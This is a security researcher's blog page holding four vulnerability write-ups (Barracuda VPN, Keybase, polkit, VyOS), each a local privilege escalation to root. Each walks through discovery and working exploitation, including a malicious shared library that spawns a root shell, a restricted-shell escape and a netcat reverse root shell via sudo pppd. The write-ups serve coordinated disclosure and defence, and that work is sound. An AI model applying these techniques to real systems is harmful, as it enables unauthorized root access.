Rich Mirch

Penetration Tester, Security Researcher

CVE-2019-6724 : Barracuda VPN Client Privilege Escalation on Linux and macOS — February 14, 2019

CVE-2019-6724 : Barracuda VPN Client Privilege Escalation on Linux and macOS

The barracudavpn component of the Barracuda VPN Client prior to version for Linux, macOS, and OpenBSD runs as a privileged process and can allow an unprivileged local attacker to load a malicious library, resulting in arbitrary code executing as root.

This post will walk through the process on how I found and exploited the vulnerability on Linux. The full PoC will  also work on macOS. When researching for potential vulnerabilities with privileged binaries a test system should be used to avoid causing damage or negative impacts.

The first step is to identify a privileged binary. I normally use the find(1) command. This example displays setuid binaries under the /usr/local directory. I generally use the -xdev option to avoid traversing other files systems such as NFS. It’s better to be intentional when using find instead of blindly using / for the target path. The -ls option is a nice built-in feature to automatically display the long list of file attributes. Finally, stderr is redirected to /dev/null to discard errors caused by insufficient permissions.

[user1@localhost ~]$ find /usr/local -xdev -perm -4000 -ls 2>/dev/null
68555095 4548 -rwsr-xr-x   1 root     root      4653080 Oct 29 02:25 /usr/local/bin/barracudavpn

An alternative to using find is to inspect the files installed by a specific package. Often times files are installed to multiple locations so listing out the files contained by a package is helpful. This example uses the rpm command to list files installed in verbose format for the barracudavpn package.

[user1@localhost ~]$ rpm -q -l -v barracudavpn
drwxr-xr-x 2 root root 0 Oct 29 02:25 /etc/barracudavpn
-rwsr-xr-x 1 root root 4653080 Oct 29 02:25 /usr/local/bin/barracudavpn

There are several things I look for when attacking privileged binaries. If source code is not available my goto utilities for this investigation is tracing system calls using strace(1) and tracing library calls using ltrace(1). On macOS I use Dtrace. Here is a list of a few common vectors. This post will focus on the #2 – loading of libraries.

  1. Execute external commands
  2. Loading of libraries
  3. File paths
  4. Environment variables
  5. Pipe or store output
  6. Configuration files
  7. Debug / undocumented features

When executing strace or ltrace as an unprivileged user, privileges will be dropped. Sometimes this is ok but generally the command will exit with an error. When attempting to execute strace as a low privileged user it results in the following error. The error message is not always as obvious as the barracudavpn binary.

# Options
#   -o output file with a PID suffix
#   -ff follow forks
#   -s increase maximum string size to print

[user1@localhost ~]$ strace -o /tmp/vpn.trace \
                            -ff \
                            -s 1000 \
Error because privileges were dropped

To get around this error, run either utility as root using the -u option. After adding this option the application opens without error.

[root@localhost ~]# rm -f /tmp/vpn.trace* # cleanup residual traces
[root@localhost ~]# strace -u user1 \
                           -o /tmp/vpn.trace \
                           -ff \
                           -s 1000 \

Application after running strace as root with -u user1

I wanted to see if any libraries were loaded by default at runtime so I exited the application to review the trace file. A simple grep looking for the string “.so” works. barracudavpn attempted to load a non-existent library named from /opt/phio/libs64/engines.

[root@localhost ~]# grep \\.so /tmp/vpn.trace.20255
open("/opt/phion/libs/engines/", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

A low privileged user cannot normally write to /opt so we’ll have to see if we can influence the leading path. This could potentially be achieved by manipulating environment variables, configuration options, or command parameters.

To check for environment variables I ran ltrace to show getenv calls but received the following error.  It turns out the binary is statically linked so ltrace will not work.

[user1@localhost ~]$ ltrace /usr/local/bin/barracudavpn 2>&1| grep getenv
Couldn't find .dynsym or .dynstr in "/proc/3079/exe"

[user1@localhost ~]$ file /usr/local/bin/barracudavpn
/usr/local/bin/barracudavpn: setuid ELF 64-bit LSB executable,
  x86-64, version 1 (GNU/Linux),
  statically linked,
  for GNU/Linux 2.6.32,
  BuildID[sha1]=34b314b85afe2908266dc8f4229415df09f0e61f, stripped

This is an easy check with ltrace but since that failed I decided to run the strings utility and look for an upper case strings. The binary is 4.5 MB so paging through strings output was not practical. A good place to start was looking around the area of the strings I had found in the previous step. The OPENSSL_ENGINES string jumped out at me  as a potential environment variable. A quick google search shows that this is part of the OpenSSL engine library and most likely the code is from eng_list.c and was compiled with ENGINESDIR=/opt/phion/libs/engines.

[root@localhost ~]# strings /usr/local/bin/barracudavpn|grep -C5 /opt/phion/libs/engines
OpenSSL DH Method
Diffie-Hellman part of OpenSSL 1.0.1u 22 Sep 2016

A simple test is to set the environment variable to a unique value. I used /foobar for this test and re-ran barracudavpn. The open() call confirms the environment variable can be changed to a path we control to load the library. If privileges are not dropped prior to the loading of this library we can achieve arbitrary code execution as root. I could look for set*uid calls but as a simple test I will just set the variable and see what happens. The link step on macOS is slightly different. View the full PoC linked below for an example.

[root@localhost ~]# export OPENSSL_ENGINES=/foobar
[root@localhost ~]# timeout 10s strace -u user1 -ff /usr/local/bin/barracudavpn 2>&1|grep '\.so'
open("/foobar/", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

At this point I am confident that a library of my choice could be loaded. I created a simple woot() function to execute a shell.

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void woot(){

Build the shared library and write it in the foobar directory. Notice the -init,woot flag. This specifies what function to use as the constructor and the default name is _init. Details on how this works can be found in section 5.2 of the Program-Library-HOWTO miscellaneous page.

[user1@localhost ~]$ mkdir foobar
[user1@localhost ~]$ gcc -fPIC -Wall -o woot.o -c woot.c
[user1@localhost ~]$ gcc -Wall -shared -Wl,-soname, -Wl,-init,woot -o foobar/ woot.o
[user1@localhost ~]$ export OPENSSL_ENGINES=foobar

Execute /usr/local/bin/barracudavpn to spawn a root shell.

[user1@localhost ~]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[user1@localhost ~]$ /usr/local/bin/barracudavpn
sh-4.2# id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

The full PoC for Linux and macOS can be found on my Github page


When a privileged binary loads an external library, care must be taken to ensure the library cannot be loaded from an untrusted location. As a low privileged user, look for writeable paths where libraries are loaded from. Dynamic libraries can be loaded from static paths, paths based on environment variables, configuration options, or command parameters. Also keep in mind that this behavior might not be documented. Strace and ltrace are standard tools that I use identify libraries loaded dynamically by the target program.

I appreciate the partnership with Dave Farrow – Senior Director, Information Security – Barracuda Networks.



2019-01-02 Report sent to vendor via BugCrowd
2019-01-03 Vendor acknowledges report
2019-01-07 Vendor meeting regarding coordinated disclosure
2019-01-17 Vendor releases fixes
2019-01-23 Mitre assigned CVE-2019-6724
2019-02-14 Public Disclosure

CVE-2018-18629: Keybase Linux privilege escalation — December 21, 2018

CVE-2018-18629: Keybase Linux privilege escalation

Recently I started using Keybase which is a Slack like application but provides end-to-end encryption. Version is vulnerable to a privilege escalation vulnerability allowing a low privileged user to execute arbitrary commands as root.

After executing the application using a low privileged account I noticed a process named keybase-redirector running as root. I was interested and wanted to understand how this worked. After checking the file permissions I found that the keybase-redirector was setuid root. I enjoy the challenge of finding vulnerabilities in privileged binaries so I started my research.

One of the first techniques I use when attacking setuid binaries is to test for PATH injections. The PATH environment variable is a colon separated list of directories that is searched when executing a command by name. As a test I reset the PATH environment variable to a unique value while executing keybase-redirector.  Using the env command  inline ensures that the PATH is only set for the execution and the current value of PATH is unmodified.

[user1@localhost ~]$ env PATH=/foobar /usr/bin/keybase-redirector /keybase
Mount error, exiting cleanly: fusermount: exec: “fusermount”: executable file not found in $PATH

The descriptive error message immediately caught my attention. To confirm the potential vulnerability I executed the strace(1) utility. strace traces system calls and has a variety of options. The common options that I use are -f(follow forks), -s (maximum string size to print) and -u [username]. strace generates verbose output so this is where the unique PATH string becomes useful. We can quickly search the output for that string to find potential injection points. When tracing a setuid binary, strace must be executed from root because privileges are dropped. In some cases the error message may not provide any clues. Regardless of the output I always run strace to verify. As you can see in the below output, the newfstatat() call is checking if /foobar/fusermount exists.

[root@localhost ~]# env PATH=/foobar /usr/bin/strace -u user1 -f /usr/bin/keybase-redirector /keybase 2>&1|grep foobar
[pid 4890] newfstatat(AT_FDCWD, “/foobar/fusermount“, 0xc420070858, 0) = -1 ENOENT (No such file or directory)

Now that it appears the program trusts the value of PATH we can try to exploit it. I crafted a fusermount binary to create the /w00t file. View the original PoC in the Hackerone report 426944. Since then I created a new PoC to get an interactive root shell. Updated PoC can be found at my Github repo

PoC screenshot for CentOS 7.4.1708.


Setuid programs should reset the PATH environment variable prior to executing any external binaries. Fully qualified paths can also be used. The response from Keybase was amazing and I really enjoyed the partnership. @maxtaco committed the fix to the master branch within one hour of receiving the report! I appreciate their transparency and technical write-up in the advisory.


CVE-2018-19788 PoC – polkit: Improper handling of user with uid > INT_MAX leading to authentication bypass — December 9, 2018

CVE-2018-19788 PoC – polkit: Improper handling of user with uid > INT_MAX leading to authentication bypass

While reviewing my Twitter feed I noticed a recent popular tweet from @0xdea.

I was intrigued and wanted to see if there was a way to leverage this to execute arbitrary code as root.

First we need to understand what the value of INT_MAX is. Fortunately the getconf command can be used to find the value or you can find it in /usr/include/limits.h.

[root@localhost ~]# getconf INT_MAX

[root@localhost ~]# grep ‘define INT_MAX’ /usr/include/limits.h
# define INT_MAX 2147483647

To exploit the vulnerability the user must have a UID value larger than 2147483647. I used the same value of 4000000000 that @0xdea posted.

[root@localhost ~]# useradd -u 4000000000 user9
[root@localhost ~]# id user9
uid=4000000000(user9) gid=1006(user9) groups=1006(user9)

The first test case I attempted was to manage a service. I successfully started tuned(8) as a low privilege user.

Now that the vulnerability has been verified I was on a quest to find a way to execute arbitrary code as root. I approached this using the same methodology I use when attacking sudo rules.

  1. Learn about the command(man, info, Google)
  2. Search for options/parameters/functionality to abuse.
    1. Execute commands
    2. Load libraries
    3. File paths
    4. Environment variables
    5. Pipe or store output
    6. Configuration files
    7. Determine if other commands are executed (strace -f,ltrace -f -S)

After paging through the systemctl man page and trying various commands/options, I successfully leveraged the link parameter to deploy a custom service file on a CentOS 7.4 system. I suspect there are other systemctl parameters or options that be abused.

man page excerpt


Link a unit file that is not in the unit file search paths into the unit file search path. This requires an absolute path to a unit file. The effect of this can be undone with disable. The effect of this command is that a unit file is available for start and other commands although it is not installed directly in the unit search path.

To achieve arbitrary code execution I copied an existing service file to my test users home directory and modified it. The main line to modify is ExecStart=, however I am sure there are plenty of other options but this was the easy button. The job is not connected to the standard I/O so I piped the output of id to the wall command. Full PoC here: I asked @paragonsec to independently test it on his Debian system and he confirmed it was successful. Woot!



@paragonsec discovered a one-liner with the systemd-run command to get a full interactive root shell.


While this vulnerability should have limited exposure because of the large UID requirement, I still enjoyed the challenge of finding a way to leverage it to execute arbitrary code as root. Props to @0xdea for finding and disclosing the vulnerability. I appreciate @paragonsec for testing my PoC on short notice. My PoC was referenced in The Hacker News Warning! Unprivileged Linux Users With UID > INT_MAX Can Execute Any Command.

CVE-2018-18556 – VyOS Privilege escalation via sudo pppd for operator users — November 5, 2018

CVE-2018-18556 – VyOS Privilege escalation via sudo pppd for operator users

Recently I found several ways to escape the restricted shell for an operator user in VyOS 1.1.8. VyOS is a Linux-based network operating system that provides software-based network routing, firewall, and VPN functionality. I plan to post information on the restricted shell escapes in the near future; For now read the blog by @dmbaturin detailing some of the methods.

This post will focus how root access was obtained using sudo after the restricted shell was escaped. One of my first post exploitation steps on Linux after a low privileged shell is obtained is to check if the user has sudo rules configured. Sudo is designed to limit privileges but often times it can be leveraged to elevate access.

First – let’s escape the restricted shell leveraging CVE-2018-18555 and show that it’s a non-root user.

user1@vyos> id

Invalid command: [id]

user1@vyos> telnet “;/bin/bash”
telnet: can’t connect to remote host ( Connection refused

user1@vyos> id
uid=1001(user1) gid=100(users) groups=100(users),37(operator)

Note: Some groups were omitted for formatting reasons

List the sudo rules with sudo -ll.  Note: output has been trimmed for brevity.

user1@vyos> sudo -ll
Matching Defaults entries for user1 on this host:
env_reset, syslog_goodpri=info, env_keep+=VYATTA_*

User user1 may run the following commands on this host:

Sudoers entry:

RunAsUsers: root
/sbin/pppd, /sbin/poff, /usr/sbin/pppstats

Every command listed should be reviewed. The man and info pages is a great resource to learn about a command. For pppd, the connect option caught my attention. It appears that you can pass an arbitrary command/script.

connect script
Usually there is something which needs to be done to prepare the link before the PPP protocol can be started; for instance, with a dial-up modem, commands need to be sent to the modem to dial the appropriate phone number. This option specifies an command for pppd to execute (by passing it to a shell) before attempting to start PPP negotiation. The chat (8) program is often useful here, as it provides a way to send arbitrary strings to a modem and respond to received characters. A value for this option from a privileged source cannot be overridden by a non-privileged user.

As a test I created a shell script with the id command. This worked but pppd spewed a bunch of non-printable characters back to the current session and did not release the terminal. I could have just as easily added commands to create a setuid shell or added a root account. There are endless possibilities but I wanted to see what other options to get an interactive shell.

user1@vyos> echo “id >/dev/tty” >
user1@vyos> chmod 755
user1@vyos> sudo /sbin/pppd connect $PWD/
uid=0(root) gid=0(root) groups=0(root)

~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}(}”+}”~~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}(}”+}”~~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}(}”+}”~~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}(}”+}”~~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}

Because pppd does not release the terminal when executing the connect script there isn’t a clean way to get an interactive shell in the current terminal.  For this test I opened a second ssh session and started a netcat listener.

user1@vyos> telnet “;/bin/bash”
telnet: can’t connect to remote host ( Connection refused
user1@vyos> netcat -v -l -p 9003
listening on [any] 9003 …

Now pass netcat as the connect option to pppd. Fortunately the bundled netcat binary was compiled with the -e(exec) option enabled.

user1@vyos> sudo pppd connect “netcat -e /bin/bash 9003”

Boom! A reverse root shell is received.

connect to [] from localhost [] 32772
uid=0(root) gid=0(root) groups=0(root)

At this point I wanted to see what other pppd options might be vulnerable. Three other parameters also take an arbitrary script/command as an argument – disconnect, init, and welcome and can be leveraged using the same method. The “plugin” option also looked promising.

plugin filename
Load the shared library object file filename as a plugin. This is a privileged option. If file-name does not contain a slash (/), pppd will look in the /usr/lib/pppd/version directory for the plugin, where version is the version number of pppd (for example, 2.4.2).

Because a compiler is not installed on VyOS by default I used a CentOS 7 system and created a simple a shared library to execute /bin/sh when loaded. Once I had a working PoC I copied over the library to test it on the VyOS system.  Full PoC available at

user1@vyos> id
uid=1001(user1) gid=100(users) groups=100(users),37(operator)
user1@vyos> ./
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)

Next steps:

  • Submit a pull request to the FallofSudo project from @paragonsec to add the pppd command.
  • Continue to review other sudo rules for VyOS operators.